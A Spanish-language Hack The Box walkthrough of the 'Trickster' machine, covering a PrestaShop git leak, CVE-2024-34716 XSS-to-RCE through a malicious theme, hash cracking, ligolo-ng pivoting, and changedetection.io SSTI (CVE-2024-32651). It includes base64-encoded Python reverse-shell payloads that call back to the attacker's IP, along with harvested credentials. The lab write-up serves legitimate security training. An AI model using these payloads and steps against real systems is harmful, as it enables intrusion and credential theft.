Table of Contents
Hack The Box: Trickster Writeup
Welcome to my detailed writeup of the medium difficulty machine “Trickster” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.44.138 --ulimit 5000 -g
210.129.44.138 -> [22,80]
1$ nmap -p22,80 -sCV 10.129.44.138 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-23 20:39 CEST
3Nmap scan report for 10.129.44.138
4Host is up (0.046s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
10|_ 256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
1180/tcp open http Apache httpd 2.4.52
12|_http-title: Did not follow redirect to http://trickster.htb/
13|_http-server-header: Apache/2.4.52 (Ubuntu)
14Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel
15
16Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
17Nmap done: 1 IP address (1 host up) scanned in 11.19 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.44.138 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-23 20:40 CEST
3Nmap scan report for 10.129.44.138
4Host is up (0.055s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
717338/udp closed unknown
818985/udp closed unknown
923679/udp closed unknown
1027895/udp closed unknown
1131134/udp closed unknown
1234892/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds
Del escaneo inicial encontramos el dominio trickster.htb
, lo añadimos al /etc/hosts
Como no hay otro punto de entrada, vamos a enumerar el servicio HTTP.
HTTP Enumeration
whatweb
nos reporta un 403 Forbidden y no nos muestra mas información relevante.
1$ whatweb http://10.129.44.138
2http://10.129.44.138 [301 Moved Permanently] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.129.44.138], RedirectLocation[http://trickster.htb/], Title[301 Moved Permanently]
3http://trickster.htb/ [403 Forbidden] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.129.44.138], Title[403 Forbidden]
Pero por alguna razón no me lo muestra al entrar con un navegador, así se ve el sitio web.
Encontramos el subdominio shop.trickster.htb
, lo añadimos al /etc/hosts
también.
Nos encontramos una instancia de prestashop
y también vemos que se está utilizando MySQL
por detrás.
Voy a crearme una cuenta en /registration
Vamos a detectar la versión de prestashop, en la versión 1.6 el CSS está en /themes/nombre_tema/css/global.css
El tema es classic
Vemos que ahí no está el CSS.
Sin embargo en la versión 1.7 el CSS está en /themes/nombre_tema/assets/css/theme.css
y podemos comprobar que efectivamente está ahí.
También vemos que en la versión 1.7 existe una variable prestashop
que no existe en la versión 1.6
Y podemos ver que es verdad.
Git Information Disclosure
Podríamos intentar analizar los archivos CSS y JS para ver si encontramos la versión exacta, así que vamos a fuzzear este subdominio a ver que encontramos.
1$ feroxbuster -u http://shop.trickster.htb -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
Y encontramos algo mas interesante, un directorio .git
Quizás podamos encontrar credenciales o algo en este repositorio.
Vamos a utilizar git-dumper
lo podemos descargar de este repositorio de Github
Nos clonamos el repo.
1$ git clone https://github.com/arthaud/git-dumper
2Cloning into 'git-dumper'...
3remote: Enumerating objects: 197, done.
4remote: Counting objects: 100% (130/130), done.
5remote: Compressing objects: 100% (70/70), done.
6remote: Total 197 (delta 83), reused 74 (delta 60), pack-reused 67 (from 1)
7Receiving objects: 100% (197/197), 59.29 KiB | 1.41 MiB/s, done.
8Resolving deltas: 100% (104/104), done.
Y ahora podemos reconstruir el proyecto.
1$ python3 git_dumper.py http://shop.trickster.htb/.git shop.trickster.htb
2[-] Testing http://shop.trickster.htb/.git/HEAD [200]
3[-] Testing http://shop.trickster.htb/.git/ [200]
4[-] Fetching .git recursively
5[-] Fetching http://shop.trickster.htb/.git/ [200]
6[-] Fetching http://shop.trickster.htb/.gitignore [404]
7[-] http://shop.trickster.htb/.gitignore responded with status code 404
8[-] Fetching http://shop.trickster.htb/.git/logs/ [200]
9[-] Fetching http://shop.trickster.htb/.git/HEAD [200]
10[-] Fetching http://shop.trickster.htb/.git/description [200]
Y vemos los archivos del proyecto, vemos una ruta admin634ewutrx1jgitlooaj
```console
$ ls -la shop.trickster.htb/
total 216
drwxr-xr-x 1 pointedsec pointedsec 284 sep 23 20:58 .
drwxr-xr-x 1 pointedsec pointedsec 240 sep 23 20:58 ..
drwxr-xr-x 1 pointedsec pointedsec 378 sep 23 20:58 admin634ewutrx1jgitlooaj
-rw-r--r-- 1 pointedsec pointedsec 1305 sep 23 20:58 autoload.php
-rw-r--r-- 1 pointedsec pointedsec 2506 sep 23 20:58 error500.html
drwxr-xr-x 1 pointedsec pointedsec 128 sep 23 20:58 .git
-rw-r--r-- 1 pointedsec pointedsec 1169 sep 23 20:58 index.php
-rw-r--r-- 1 pointedsec pointedsec 1256 sep 23 20:58 init.php
-rw-r--r-- 1 pointedsec pointedsec 522 sep 23 20:58 Install_PrestaShop.html
-rw-r--r-- 1 pointedsec pointedsec 5054 sep 23 20:58 INSTALL.txt
-rw-r--r-- 1 pointedsec pointedsec 183862 sep 23 20:58 LICENSES
-rw-r--r-- 1 pointedsec pointedsec 863 sep 23 20:58 Makefile
-rw-r--r-- 1 pointedsec pointedsec 1538 sep 23 20:58 .php-cs-fixer.dist.php
Y detectamos la versión exacta en esta ruta.
Encontramos que esta versión es vulnerable a XSS. Vamos a intentar encontrar mas información sobre el CVE-2024-34716
Abusing CVE-2024-34716 (Chained XSS leads to RCE)
Me encontré con este PoC en Github que nos lleva a este artículo que nos explica que es probable llegar a ejecutar código remoto a través del XSS.
Hay que editar algunas cosas en este PoC.
En la reverse_shell.php
tenemos que modificar el puerto y la IP de escucha.
Y del PoC igual hay que cambiar el puerto de escucha.
En exploit.html
también hay que cambiar algunos parámetros.
Nos reporta un código 200 al hacer el GET por segunda vez pero no recibimos la reverse shell.
1$ sudo python3 exploit.py 21:16:39 [153/239]
2[?] Please enter the URL (e.g., http://prestashop:8000): http://shop.trickster.htb
3[?] Please enter your email: pointed@pointed.com
4[?] Please enter your message: test
5[?] Please provide the path to your HTML file: exploit.html
6[X] Yay! Your exploit was sent successfully!
7[X] Remember to python http server on port whatever port is specified in exploit.html
8 in directory that contains ps_next_8_theme_malicious.zip to host it.
9[X] Once a CS agent clicks on attachment, you'll get a SHELL!
10[X] Ncat is now listening on port 443. Press Ctrl+C to terminate.
11Serving at http.Server on port 5000
12listening on [any] 443 ...
13GET request to http://shop.trickster.htb/themes/next/reverse_shell.php: 403
14GET request to http://shop.trickster.htb/themes/next/reverse_shell.php: 200
Además por arriba vemos las solicitudes de descarga del tema malicioso.
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.44.138 - - [23/Sep/2024 21:14:48] "GET /ps_next_8_theme_malicious.zip HTTP/1.1" 200 -
410.129.44.138 - - [23/Sep/2024 21:15:55] "GET /ps_next_8_theme_malicious.zip HTTP/1.1" 200 -
Voy a modificar el exploit para que escuche por el puerto 444 y me voy a poner yo en escucha manualmente con pwncat-cs
por el puerto 443.
Nos ponemos en escucha.
1$ sudo pwncat-cs -lp 443
Al intentar explotarlo manualmente nos encontramos lo siguiente.
Vamos a hacer mas cambios, como esta máquina la estoy haciendo sin el VIP de HackTheBox significa que hay mas gente intentando hacer la explotación al mismo tiempo que yo por lo cual vamos a cambiar el nombre del PHP que se genera.
Dentro del zip nos encontramos el archivo reverse_shell.php
, resulta que este es el archivo que hay que cambiar del PoC.
1$ ls
2assets dependencies modules ps_next_8_theme_malicious.zip templates
3config _dev preview.png reverse_shell.php
Cambiamos la IP y el puerto.
Vamos a renombrar el nombre de la shell.
1$ mv reverse_shell.php pointedshell.php
Y creamos el zip con la nueva shell.
1$ zip -r ps_next_8_theme_malicious.zip *
2 adding: assets/ (stored 0%)
3 adding: assets/cache/ (stored 0%)
4 adding: assets/cache/index.php (deflated 48%)
5 adding: assets/css/ (stored 0%)
6 adding: assets/css/012cf6a10129e2275d79d6adac7f3b02.woff (deflated 0%)
7 adding: assets/css/0266b05265f317a7409560b751cd61e8.svg (deflated 43%)
8 adding: assets/css/082a71677e756fb75817e8f262a07cb4.svg (deflated 53%)
9 adding: assets/css/154da4697acc779b55af0a67f1241e4e.ttf (deflated 40%)
10 adding: assets/css/199038f07312bfc6f0aabd3ed6a2b64d.woff2 (deflated 0%)
11 adding: assets/css/19c1b868764c0e4d15a45d3f61250488.woff2 (deflated 0%)
12 adding: assets/css/22c0528acb6d9cd5bf4c8f96381bc05c.svg (deflated 58%)
13....
También en exploit.py
modificamos la línea 104.
Ahora lanzamos el exploit.
Y vemos que no creamos el archivo pointedshell.php
correctamente, esto puede ser porque otras personas están intentando instalar el tema y se está reemplazando al mío.
Además me di cuenta que al crear el zip no estaba incluyendo los archivos ocultos, entre ellos está el .htaccess
para habilitarme acceder a todos los recursos.
Entonces otra vez modificando el contenido del zip, en la ruta config/theme.yml
vamos a cambiar el nombre del tema.
Ahora si todo sale bien, nuestro PHP malicioso debería estar en /themes/pointedtheme/pointedshell.php
Entonces tenemos este .htaccess
1$ cat .htaccess
2<IfModule mod_authz_core.c>
3 Require all granted
4</IfModule>
Y ahora para crear el zip con el archivo oculto..
1$ zip -r ps_next_8_theme_malicious.zip .
Y podemos comprobar que ahora si se ha añadido.
Ahora lanzamos todo otra vez y cuando vemos que nos llega la solicitud arriba significa que el tema malicioso ya sea ha instalado, ignorando los 403 de abajo..
Ahora vemos que en la ruta esperada se encuentra algo..
Y recibimos la revshell.
1$ sudo pwncat-cs -lp 443
2[21:36:05] Welcome to pwncat 🐈! __main__.py:164
3[21:58:57] received connection from 10.129.44.138:41694 bind.py:84
4[21:58:58] 0.0.0.0:443: upgrading from /usr/bin/dash to /usr/bin/bash manager.py:957
5[21:58:59] 10.129.44.138:41694: registered new host w/ db manager.py:957
6(local) pwncat$
7(remote) www-data@trickster:/$ id
8uid=33(www-data) gid=33(www-data) groups=33(www-data)
User Pivoting
Encontramos las credenciales de acceso a base de datos en /var/www/prestashop/app/config/parameters.php
1(remote) www-data@trickster:/var/www/prestashop/app/config$ cat parameters.php 22:01:41 [39/430]
2<?php return array (
3 'parameters' =>
4 array (
5 'database_host' => '127.0.0.1',
6 'database_port' => '',
7 'database_name' => 'prestashop',
8 'database_user' => 'ps_user',
9 'database_password' => 'prest@shop_o',
10 'database_prefix' => 'ps_',
11 'database_engine' => 'InnoDB',
12 'mailer_transport' => 'smtp',
13 'mailer_host' => '127.0.0.1',
14 'mailer_user' => NULL,
15 'mailer_password' => NULL,
16 'secret' => 'eHPDO7bBZPjXWbv3oSLIpkn5XxPvcvzt7ibaHTgWhTBM3e7S9kbeB1TPemtIgzog',
Las credenciales son ps_user:prest@shop_o
1(remote) www-data@trickster:/var/www/prestashop/app/config$ mysql -u ps_user -pprest@shop_o
2Welcome to the MariaDB monitor. Commands end with ; or \g.
3Your MariaDB connection id is 38833
4Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04
5
6Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
7
8Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
9
10MariaDB [(none)]> show databases;
11+--------------------+
12| Database |
13+--------------------+
14| information_schema |
15| prestashop |
16+--------------------+
172 rows in set (0.001 sec)
18
19MariaDB [(none)]>
Vamos a enumerar los usuarios de prestashop
para ver si podemos crackear algún hash.
Enumerando las tablas encontramos la siguiente-
Y encontramos unos hashes.
1MariaDB [prestashop]> select email,passwd from ps_employee;
2+---------------------+--------------------------------------------------------------+
3| email | passwd |
4+---------------------+--------------------------------------------------------------+
5| admin@trickster.htb | $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C |
6| james@trickster.htb | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm |
7+---------------------+--------------------------------------------------------------+
82 rows in set (0.000 sec)
9
10MariaDB [prestashop]>
Me interesa saber si existe un usuario james
en el sistema ya que si conseguimos crackear el hash quizás se reutilicen credenciales.
Y vemos que sí, existen los usuarios james
y adam
.
1(remote) www-data@trickster:/var/www/prestashop/app/config$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3james:x:1000:1000:trickster:/home/james:/bin/bash
4adam:x:1002:1002::/home/adam:/bin/bash
Encontramos cuatro coincidencias posibles ara el hash de james
, solo quedar probar a ver si conseguimos crackear la contraseña.
Aunque buscando un poco encontramos como se encriptan las contraseñas en prestashop
.
In 1.7, PrestaShop does not use “cookie_key” for new passwords (only for cookies).
On version 1.7 PrestaShop offers an encryption key migration mechanism.
For password : bcrypt is used to verify the password. If the verification fails, PrestaShop tries to verify the password with the old md5 and cookie_key. If the old key is valid, PrestaShop re-encrypts the password with bcrypt .
You can study how it works in /src/PrestaShop/Core/Crypto/Hashing.php and in the getByEmail(…) function of the Customer class.
For the cookie: new_cookie_key is used to read the cookie. If the reading fails, PrestaShop tries to read the cookie with the old cookie_key. If the old key is valid, PrestaShop re-encrypts the cookie with new_cookie_key .
Entonces podemos utilizar el modo 3200
que corresponde a bcrypt
1C:\Users\pc\Desktop\hashcat-6.2.6>.\hashcat.exe -a 0 -m 3200 .\hash.txt .\rockyou.txt
2....
3$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm:alwaysandforever
4
5Session..........: hashcat
6Status...........: Cracked
7Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
8Hash.Target......: $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6y...yunCmm
9Time.Started.....: Mon Sep 23 20:09:17 2024 (3 secs)
10Time.Estimated...: Mon Sep 23 20:09:20 2024 (0 secs)
11Kernel.Feature...: Pure Kernel
12Guess.Base.......: File (.\rockyou.txt)
13Guess.Queue......: 1/1 (100.00%)
14Speed.#1.........: 13996 H/s (8.69ms) @ Accel:4 Loops:2 Thr:8 Vec:1
15Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
16Progress.........: 38016/14344387 (0.27%)
17Rejected.........: 0/38016 (0.00%)
18Restore.Point....: 36864/14344387 (0.26%)
19Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:14-16
20Candidate.Engine.: Device Generator
21Candidates.#1....: hockey5 -> 102183
22Hardware.Mon.#1..: Temp: 55c Fan: 35% Util: 18% Core:1535MHz Mem:2000MHz Bus:8
Y conseguimos crackearla.
Entonces tenemos otras credenciales, james:alwaysandforever
Y podemos autenticarnos como james
por SSH.
1$ sshpass -p 'alwaysandforever' ssh james@trickster.htb
2james@trickster:~$ id
3uid=1000(james) gid=1000(james) groups=1000(james)
También podemos leer la flag de usuario.
1james@trickster:~$ cat user.txt
2c23839860013e...
Privilege Escalation
Enumerando los procesos de la máquina, vemos que existe docker
Port Forwarding with ligolo-ng
Esta herramienta es muy interesante.
Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
https://github.com/nicocha30/ligolo-ng
Nos la clonamos
1$ git clone https://github.com/nicocha30/ligolo-ng
Y ahora con make
lo compilamos.
Ahora en dist/
tenemos varias implementaciones de esta herramienta.
1$ ls
2ligolo-ng-agent-linux_amd64 ligolo-ng-agent-windows_amd64.exe ligolo-ng-proxy-linux_amd64 ligolo-ng-proxy-windows_amd64.exe
Ejecutamos el proxy en nuestra máquina.
1$ sudo ./ligolo-ng-proxy-linux_amd64 -selfcert -laddr 0.0.0.0:443
2WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC!
3WARN[0000] Using self-signed certificates
4WARN[0000] TLS Certificate fingerprint for ligolo is: 933182FA4AD7854BDF24B78D1FF5DEFE9CA3E9662A1B680BC1C0F985D6D824E3
5INFO[0000] Listening on 0.0.0.0:443
6 __ _ __
7 / / (_)___ _____ / /___ ____ ____ _
8 / / / / __ `/ __ \/ / __ \______/ __ \/ __ `/
9 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
10/_____/_/\__, /\____/_/\____/ /_/ /_/\__, /
11 /____/ /____/
12
13 Made in France ♥ by @Nicocha30!
14 Version: dev
15
16ligolo-ng »
Ahora en la máquina víctima descargamos el agente.
1james@trickster:/tmp$ wget http://10.10.16.24:8081/ligolo-ng-agent-linux_amd64
2--2024-09-23 18:24:42-- http://10.10.16.24:8081/ligolo-ng-agent-linux_amd64
3Connecting to 10.10.16.24:8081... connected.
4HTTP request sent, awaiting response... 200 OK
5Length: 6127768 (5.8M) [application/octet-stream]
6Saving to: ‘ligolo-ng-agent-linux_amd64’
7
8ligolo-ng-agent-linux_amd64 100%[=============================================================>] 5.84M 2.06MB/s in 2.8s
9
102024-09-23 18:24:45 (2.06 MB/s) - ‘ligolo-ng-agent-linux_amd64’ saved [6127768/6127768]
Ahora nos conectamos a nuestra máquina local.
1james@trickster:/tmp$ ./ligolo-ng-agent-linux_amd64 -connect 10.10.16.24:443 -ignore-cert
2WARN[0000] warning, certificate validation disabled
3INFO[0000] Connection established addr="10.10.16.24:443"
Y vemos que nos llega la conexión.
Ahora en nuestra máquina vamos a crear la ruta para que los paquetes que se dirijan a los contenedores de la máquina víctima pasen por ligolo
, recomiendo ver este artículo donde se explica todo muy bien.
1$ sudo ip route add 172.17.0.0/16 dev ligolo
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/trickster/content/ligolo-ng/dist]
3└──╼ [★]$ ip route
4default via 192.168.1.1 dev ens33 proto dhcp src 192.168.1.52 metric 100
5default via 192.168.154.2 dev ens34 proto dhcp src 192.168.154.128 metric 101
610.10.10.0/23 via 10.10.16.1 dev tun0
710.10.16.0/23 dev tun0 proto kernel scope link src 10.10.16.24
810.129.0.0/16 via 10.10.16.1 dev tun0
9172.17.0.0/16 dev ligolo scope link linkdown
10192.168.1.0/24 dev ens33 proto kernel scope link src 192.168.1.52 metric 100
11192.168.3.0/24 dev docker0 proto kernel scope link src 192.168.3.1 linkdown
12192.168.154.0/24 dev ens34 proto kernel scope link src 192.168.154.128 metric 101
Ahora en ligolo
podemos iniciar el túnel con start
1[Agent : james@trickster] » start
2[Agent : james@trickster] » INFO[0363] Starting tunnel to james@trickster
Y ahora podemos hacer ping a la máquina víctima pero a través de la interfaz docker0
1$ ping 172.17.0.1
2PING 172.17.0.1 (172.17.0.1) 56(84) bytes of data.
364 bytes from 172.17.0.1: icmp_seq=1 ttl=64 time=142 ms
464 bytes from 172.17.0.1: icmp_seq=2 ttl=64 time=148 ms
564 bytes from 172.17.0.1: icmp_seq=3 ttl=64 time=188 ms
Pivoting to container
Haciendo un pequeño script en bash podemos analizar que hosts están activos en la máquina víctima y encontramos uno.
1$ ./scan.sh
2172.17.0.1 está activo
3172.17.0.2 está activo
4172.17.0.3 no responde
5172.17.0.4 no responde
6172.17.0.5 no responde
7172.17.0.6 no responde
Vamos con rustscan
a ver que puertos tiene abiertos este contenedor.
1$ rustscan -a 172.17.0.2 --ulimit 5000 -g
2172.17.0.2 -> [5000]
Vemos que tiene abierto el puerto 5000.
Enumerating container 5000 Web Server
whatweb
nos reporta que existe un panel de inicio de sesión y vemos algo. changedetection.io
1$ whatweb http://172.17.0.2:5000
2http://172.17.0.2:5000 [302 Found] Cookies[session], Country[RESERVED][ZZ], HTML5, HttpOnly[session], IP[172.17.0.2], RedirectLocation[/login?next=/], Title[Redirecting...], UncommonHeaders[access-control-allow-origin]
3http://172.17.0.2:5000/login?next=/ [200 OK] Cookies[session], Country[RESERVED][ZZ], Email[defaultuser@changedetection.io], HTML5, HttpOnly[session], IP[172.17.0.2], JQuery[3.6.0], PasswordField[password], Script, Title[Change Detection], UncommonHeaders[access-control-allow-origin]
Vemos que es una instancia de changedetection.io
de versión 0.45.20
Rápidamente encontramos que esta versión es vulnerable a Server-Side Template Injection por lo cual podemos conseguir ejecutar comandos en la máquina víctima. Recomiendo leer este artículo
Abusing CVE-2024-32651 (Server-Side Template Injection)
Pivoting to container
La credencial de acceso es alwaysandforever
, la contraseña de james
Entonces para explotar este SSTI, el primer paso es editar una de las plantillas que ya existen, en este caso voy a editar la primera.
Como las máquina de HackTheBox no tienen conexión a internet, me interesa que monitorice un sitio web al que pueda llegar entonces voy a hostear yo uno por el puerto 8082.
También cambiamos el tiempo de comprobación a 10 segundos.
Luego en el apartado de Notifications -> Notification Body
es donde vamos a insertar nuestro payload
Al probarlo vemos lo siguiente
Se hace una petición a nuestro sitio web pero no nos llega el ping.
1$ python3 -m http.server 8082
2Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
310.129.44.138 - - [23/Sep/2024 22:51:15] code 404, message File not found
410.129.44.138 - - [23/Sep/2024 22:51:15] "GET /index.html HTTP/1.1" 404 -
510.129.44.138 - - [23/Sep/2024 22:53:08] code 404, message File not found
610.129.44.138 - - [23/Sep/2024 22:53:08] "GET /index.html HTTP/1.1" 404 -
1$ sudo tcpdump icmp -i tun0
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
Cambié el payload del SSTI pero seguía sin llegarme ninguna shell. (Decodificar el payload en base64, Hugo (este blog) me está dando problemas por alguna razón al poner este payload en el Markdown)
1e3slIGZvciB4IGluICgpLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpICV9fQogICAgICAgIHt7JSBpZiAid2FybmluZyIgaW4geC5fX25hbWVfXyAlfX0KICAgICAgICB7e3t7eCgpLl9tb2R1bGUuX19idWlsdGluc19fWydfX2ltcG9ydF9fJ10oJ29zJykucG9wZW4oInB5dGhvbjMgLWMgJ2ltcG9ydCBvcyxwdHksc29ja2V0O3M9c29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoXFwiezEwLjEwLjE2LjI0fVxcIix7NDQ0fSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihcXCIvYmluL2Jhc2hcXCIpJyIpLnJlYWQoKX19fX0KICAgICAgICB7eyUgZW5kaWYgJX19CiAgICAgICAge3slIGVuZGZvciAlfX0=
Esto quiero pensar que es porque no existe ninguna notificación configurada.
Entonces sabiendo que esto es vulnerable a SSTI podemos probar a configurar una notificación global.
Entonces como URL a notificar vamos a poner que se tramite una petición GET a mi endpoint.
get://10.10.16.24:8082/notification
Y como payload vamos a usar uno genérico para mandarnos una revshell. (Decodificar el payload en base64)
1eyUgZm9yIHggaW4gKCkuX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiAid2FybmluZyIgaW4geC5fX25hbWVfXyAlfXt7eCgpLl9tb2R1bGUuX19idWlsdGluc19fWydfX2ltcG9ydF9fJ10oJ29zJykucG9wZW4oInB5dGhvbjMgLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKFwiMTAuMTAuMTYuMjRcIiw0NDQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFtcIi9iaW4vc2hcIiwgXCItaVwiXSk7JyIpfX17JWVuZGlmJX17JSBlbmRmb3IgJX0=
Ahora si le damos a Send test notification
Conseguimos acceso al contenedor, todavía no se para que me puede servir esto pero vamos a investigar.
Rápidamente viendo el histórico de comandos del contendor encontramos una credencial.
1(remote) root@ae5c137aa8ef:/app# history
2 1 apt update
3 2 #YouC4ntCatchMe#
4 3 apt-get install libcap2-bin
5 4 capsh --print
6 5 clear
7 6 capsh --print
8 7 cd changedetectionio/
9 8 ls
Con esta credencial no podemos migrar a adam
pero si a root
directamente.
1james@trickster:~$ su adam
2Password:
3su: Authentication failure
4james@trickster:~$ #YouC4ntCatchMe#^C
5james@trickster:~$ su root
6Password:
7root@trickster:/home/james# id
8uid=0(root) gid=0(root) groups=0(root)
9root@trickster:/home/james#
Podemos leer la flag de root
1root@trickster:~# cat root.txt
2fa3b13db76e3a0...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Trickster #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #Prestashop Enumeration #Information Disclosure #Git-Dumper #CVE-2024-34716 #XSS #Chained XSS #Database Enumeration #Hash Cracking #Cracking #Password Cracking #Abusing Password Reuse #Reverse Proxy #Ligolo #Pivoting #CVE-2024-32651 #Server-Side Template Injection